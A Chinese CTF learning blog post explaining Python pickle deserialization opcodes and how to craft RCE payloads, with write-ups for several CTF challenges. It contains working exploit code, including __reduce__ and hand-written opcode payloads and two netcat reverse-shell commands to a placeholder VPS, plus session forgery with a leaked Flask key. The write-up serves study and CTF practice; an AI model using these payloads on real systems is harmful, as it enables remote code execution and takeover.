前言

写这篇文章的起因是两次遇到python pickle的题目都只做到了命令执行的程度,但都没有反弹shell。看别人的wp都是通过curl将flag拉到vps上的,怎么说呢,死于没有公网IP。虽然之前在做题的时候,照着网上的exp可以把自己的payload改个七七八八,但是说实话我距离真正意义上的“手撸”opcode还是有着一段距离。这篇文章主要还是通过我所遇到的pickle反序列化题目出发进行编写,当然也少不了pickle的原理部分。

正文

在正式开始这篇文章之前,我想先贴出一位大佬的文章Pion1eer大佬这篇文章所写的关于pickle序列化原理的解释,我相信在市面上应该找不到比这更详细的了。我下面也会写相关原理,但是一定不会有他的全面。
好,那我们开始。请考虑如下代码段。

import pickle
import os
import pickletools

class exp(object):
	def __init__(self):
        self.value1 = 'hh'
        self.value2 = 'xx'

user = exp()
y = pickle.dumps(user)
y = pickletools.optimize(y)
print(y)
pickletools.dis(y)

它的执行结果是这样的。
在这里插入图片描述

pickletools.dis()具有反汇编的功能,解析指定的字符串,然后告诉你这个字符串干了些什么。每一行都是一条指令。
而pickletools.optimize()具有优化的功能,会将一些不必要的指令删除,从而使看上去的输出更加清晰。

我们现在来依次解释一下上面各行的指令作用:

  1. 0x80:机器看到这个操作符,立刻再去字符串读取一个字节,得到x03。解释为“这是一个依据3号协议序列化的字符串”,这个操作结束。
  2. c:获取一个全局对象或import一个模块,会读取两个字符串module以及instance。形式如下c[module]\n[instance]\n
  3. ):向栈中压入一个空数组
  4. \x81:从栈空间弹出一个类和参数,并用这个参数实例化这个弹出来的类,最终把实例化的类再次压回栈中。
  5. }:压入一个空的字典
  6. (:向栈中压入一个MARK标记
  7. X/V:实例化一个字符串
  8. u:以键值对的形式进行数据组合(组合的数据为当前栈空间位置到上一个MARK之间的数据),并全部添加或更新到该MARK之前的一个字典中
  9. b:利用填充好的字典和实例化好的对象进行属性赋值。
  10. . STOP简单易懂,结束序列化。
    这么看可能有些抽象,所以我画了个流程图(虽然效果好象一般)。
    在这里插入图片描述
    上面这个小例子,我想已经足够理解pickle反序列化的一些流程上的问题了,最起码我们已经知道了它的大致操作。
    接下来我们从一个经典的trick来入手。

1.有关__reduce__()

请考虑如下的代码:

import pickle
import os
import pickletools

class exp():
    def __init__(self):
        self.value1 = 'hh'
        self.value2 = 'xx'

    def __reduce__(self):
        ls = "dir"
        return (os.system, (ls,))

user = exp()
y = pickle.dumps(user)
y = pickletools.optimize(y)
print(y)
pickletools.dis(y)

我们在之前的例子上加上了__reduce__()函数。它是用来干什么的呢?如果你以前学习过php的话,那么魔法函数这个概念你一定不会陌生。这里的__reduce__()函数很像php魔法函数中的wakeup(),他会在这个对象进行反序列化的时候自动调用。
上面代码的运行结果:
在这里插入图片描述
emm,我们现在可以拿着这个payload去反序列化一下看一下效果如何。

import pickle

payload = b'\x80\x03cnt\nsystem\nX\x03\x00\x00\x00dir\x85R.'
y = pickle.loads(payload)

在这里插入图片描述
可以看到的是,只要这个payload进入了load()或者是loads()函数那么他就会触发里面的系统命令。
当然了__reduce__()这个函数的考点,考到现在,可以说是已经考烂了。现在大部分的题目它的侧重点都不会是__reduce__(),而是一些其他的“古怪”。
但是为了说明这个例子,我们还是要通过一道题来说明问题。(题目来源:BUUCTF)
[watevrCTF-2019]Pickle Store
进入题目,随便买一个吃的,然后用bp进行抓包
在这里插入图片描述
把上面的session的值进行base64解码。然后拿到一串字符。一看就是pickle的字符串
在这里插入图片描述
用脚本解一下。

import pickle
import base64

hh = 'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu'
hh1 = pickle.loads(base64.b64decode(hh))

print(hh1)

在这里插入图片描述
看来它的后端是一定调用过loads或load函数的,那么就好办了,我们直接用去getshell就行了。

import base64
import pickle

class exp(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc ip port -e/bin/sh')",))

hh = exp()
print(base64.b64encode(pickle.dumps(hh)))

这里要用小号在buu的内网开一个靶机,然后用部署后靶机的ip及监听端口进行操作。
(这虽然不知道为什么,我启动的靶机连不上),所以这里用了我自己的vps
请添加图片描述

2.R指令的禁用

在上面reduce函数的使用过程中,我们发现在payload的最后倒数第二行上面会有一个R指令,他就是用来调用reduce的,那么我们如何进行rce呢?
这里就不得不说一下Pion1eer佬对于build指令的解读了。详情就看上面我所放置的链接,下面直接说一些利用方法。

\x80\x03c__main__\nexp\n)\x81}
上面这一行是之前的payload中截取的一部分。其功能就是实例化了一个对象并压入了一个空的字典。我们现在的任务是将字典内填充一个键值对为__setstate__:os.system。那么我们要如何实现?(手写opcode。
先用(写入一个MARK标记,然后写入要填充的字符串,再用u指令进行字典的填充。最后用b指令进行实例化,并赋值。
写完之后,大概会变成这样
\x80\x03c__main__\nexp\n)\x81}(V__setstate__\ncos\nsystem\nub
接下来我们所做的所有build操作所进行的传参,都会被system接受。
所以构建出最后的payload
\x80\x03c__main__\nexp\n)\x81}(V__setstate__\ncos\nsystem\nubVdir\nb.
ok,让我们来看一看效果。
在这里插入图片描述
命令是成功执行了的,而且我们也没有用到reduce()。在R指令被禁用的时候,我们可以通过这种利用Build指令的方式进行RCE。
不仅如此,我们甚至可以通过i指令,o指令进行构造

  1. i:先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(听起来和R指令挺像的)
  2. o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数
    i指令的:(S'whoami'\nios\nsystem.
    o指令的:(cos\nsystem\nS'whoami'\no

3.有关opcode的编写

这里再新引入几个opcode:

  1. t:寻找栈中的上一个MARK,并组合之间的数据为元组
  2. d:寻找栈中的上一个MARK,并组合之间的数据为字典
  3. S:实例化一个字符串对象
  4. R:选择栈上的第一个对象作为函数、第二个对象作为
  5. s:将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象
    参数(第二个对象必须为元组),然后调用该函数(就是reduce函数的调用)
    其实,当我在自己机器上运行的时候,我发现我的pickletools所生成的opcode与网上师傅的大相径庭,感觉很怪。于是于是去了kali上再次运行自己的代码,这次就相同了。这里也是很关键的一点,pickle这个东西在不同的操作系统上的运行结果是不一样的,而且不同版本的pickle也有不同的地方。这里建议各位还是在linux系统中生成payload,毕竟大多数比赛的环境全是linux。版本的话就用版本0吧。

(1)原始的方法(手写)

手写opcode是最考验一个人对于pickle序列化的理解程度的一种方式,当然也是最原始的方法。
这里用一道题作为例子(题目源自强网拟态2021)我在题目上做了一些改变,为了便于测试看效果。
(debug.py)

import base64
import pickle
import urllib.request
import pickletools
import base64
import config
import io
import sys

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        print(module)
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

data = "opcode"
data = base64.b64encode(data)
print(data)
result = RestrictedUnpickler(io.BytesIO(base64.b64decode(data))).load()
print(config.notadmin)

config.py

notadmin={"admin":"no"}

def backdoor(cmd):
    if notadmin["admin"]=="yes":
        s=''.join(cmd)
        eval(s)

我们的目标是要将config.py中的变量中的admin的值变为yes。让我们来利用前边给出的opcode尝试编写。
b"cconfig\nnotadmin\nS'admin'\nS'yes'\ns."
后面的事情就是利用出题人留下的后门,进行shell反弹。这里会涉及到opcode拼接的问题:在手写opcode的时候我们可以通过删除前一个opcode的结束符以实现和后面opcode的拼接工作。
(这里因为是本地复现的缘故所以就用命令执行来替代了)
cconfig\nbackdoor\n(S'__import__('os').system('dir')'\ntR.
将上面两个拼接起来就是完整的payload了,当然这里要删去结束符。
当然这里的命令执行也不止一种方式,可以在上文中的R指令过滤找到其他的方案。
详情可以去这个文章https://xz.aliyun.com/t/7436#toc-10

(2)神器pker

pker的相关语法,我就不过多的去说了大家直接去这篇文章去看吧。
pker的下载链接地址https://github.com/eddieivan01/pker
在这里插入图片描述
在这里插入图片描述
通过pker.py生成的payload同样可以达到相同的效果。这就免去了我们手写opcode的麻烦。(但是这里建议新手玩家还是以手写为主。)

4.题目加更

(题目来源:[HFCTF 2021 Final]easyflask
首先要了解一下Linux系统中记录着进程信息的文件,/proc/self/目录,这个目录不同的进程访问该目录时获得的信息是不同的,获得的会是本进程的相关信息。
更详细的内容见Zero_Adam的博客。由此开始进行解题过程。
先通过题目上的提示拿到源码

#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, })
@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
        return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'
        with open(path, 'r') as fp:
            content = fp.read()
        return content

@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
            u = pickle.loads(u)
    except Exception:
        return 'uhh?'
    if u.is_admin == 1:
        return 'welcome, admin'
    else: return 'who are you?'
if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

再去利用/proc/self/environ去该进程的环境变量里面看看。
在这里插入图片描述
拿到了secret_key,secret_key在flask模板中是用于生成session的,所以我们要是想让我们的自己生成的session有用,就要把源码中的星号替换成这个玩意。
我们注意到它的源码中有这么一条语句。
在这里插入图片描述
而这个所谓的u是序列化后的User。那好,我们只需要在原来对象里面加上一个__reduce__()用于执行我们的函数就行了。
(看不懂type构造的去这里https://zhuanlan.zhihu.com/p/40916705)
exp如下:

#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
User = type('User', (object,), { 'uname': 'test', 'is_admin': 1, '__repr__': lambda o: o.uname, '__reduce__': lambda o: (eval, ("__import__('os').system('nc VPS_IP 9999 -e /bin/sh')",))})
@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
        return "/file?file=index.js"
if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

然后在linux系统中启动服务,去找生成的session。
在这里插入图片描述
利用这个session去题目的那个网站访问admin,就可以了拿到shell了。

5.后记

这是我到现在为止写的最长的一篇文章了,自从又一次遇见了pickle的题目我就已经下定决心,要写一篇关于pickle的文章,来记述一下自己的学习历程。真正意义上去放开手去写的时候,才发现自己还有很都不知道的东西,才发现原来要写的东西有这么多。还是有很多收获的,无论是从学习的角度还是从更文的角度。当然了,pickle的学习远不止这些,还有更多的等着我们去发掘。

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐